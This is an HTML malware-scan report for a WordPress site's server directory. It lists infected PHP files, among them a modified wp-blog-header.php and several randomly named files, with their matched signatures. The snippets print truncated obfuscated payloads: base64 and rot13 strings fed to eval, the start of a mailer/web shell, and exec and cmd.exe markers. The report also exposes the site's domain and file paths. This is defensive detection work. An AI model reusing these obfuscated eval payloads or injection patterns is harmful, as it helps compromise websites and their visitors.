<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_381").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-blog-header.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 3.51 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:11:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:11:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_382" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 24</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'IHJlZWJlX2VyY2JlZ3ZhdCgwKTsgJGNfYnloayA9IGZnZV9lcmN5bnByKCIuLi8iLCAiIiwgIi4vamMtbnF6dmEvZ01CQ3U1aFVuUmouY3VjIik7ICRjX3pudnlyZSA9IGZnZV9lcmN5bnByKCIuLi8iLCAiIiwgIi4vamMtcGJhZ3JhZy9yNDJYZEJXM29ISS5jdWMiKTsgJGNfa3lycmcgPSBmZ2VfZXJjeW5wcigiLi4vIiwgIiIsICIuL2pjLXZhcHlocXJmL0s1c052d2pJWEV1LmN1YyIpOyAkZWJiZyA9IGZnZV9lcmN5bnByKCIuLi8iLCAiIiwgIi4vIik7IHNoYXBndmJhIHVnZ2NfdHJnX3BiYWdyYWdmKCRoZXkpeyRwYnFyayA9IHN2eXJfdHJnX3BiYWdyYWdmKCRoZXkpO3ZzIChyemNnbCgkcGJxcmspKXskcHUgPSBwaGV5X3ZhdmcoKTtwaGV5X2ZyZ2JjZyg...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 24</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$Eqkiu</span><span style="color: #007700">(</span><span style="color: #0000BB">$vkrIC</span><span style="color: #007700">(</span><span style="color: #DD0000">'IHJlZWJlX2VyY2JlZ3ZhdCgwKTsgJGNfYnloayA9IGZnZV9lcmN5bnByKCIuLi8iLCAiIiwgIi4vamMtbnF6dmEvZ01CQ3U1aFVuUmouY3VjIik7ICRjX3pudnlyZSA9IGZnZV9lcmN5bnByKCIuLi8iLCAiIiwgIi4vamMtcGJhZ3JhZy9yNDJYZEJXM29ISS5jdWMiKTsgJGNfa3lycmcgPSBmZ2VfZXJjeW5wcigiLi4vIiwgIiIsICIuL2pjLXZhcHlocXJmL0s1c052d2pJWEV1LmN1YyIpOyAkZWJiZyA9IGZnZV9lcmN5bnByKCIuLi8iLCAiIiwgIi4vIik7IHNoYXBndmJhIHVnZ2NfdHJnX3BiYWdyYWdmKCRoZXkpeyRwYnFyayA9IHN2eXJfdHJnX3BiYWdyYWdmKCRoZXkpO3ZzIChyemNnbCgkcGJxcmspKXskcHUgPSBwaGV5X3Zhdmco...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_382").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/rttkd.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:17:25</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:17:25</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_383" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_383").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/blaxw.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:44:00</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:44:00</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_384" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_384").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/utnnv.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.20 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-02-24 03:40:15</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-09 14:09:21</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_385" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 891</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_385").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ovahxirxz.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 19.06 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 20:10:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 20:10:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_386" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
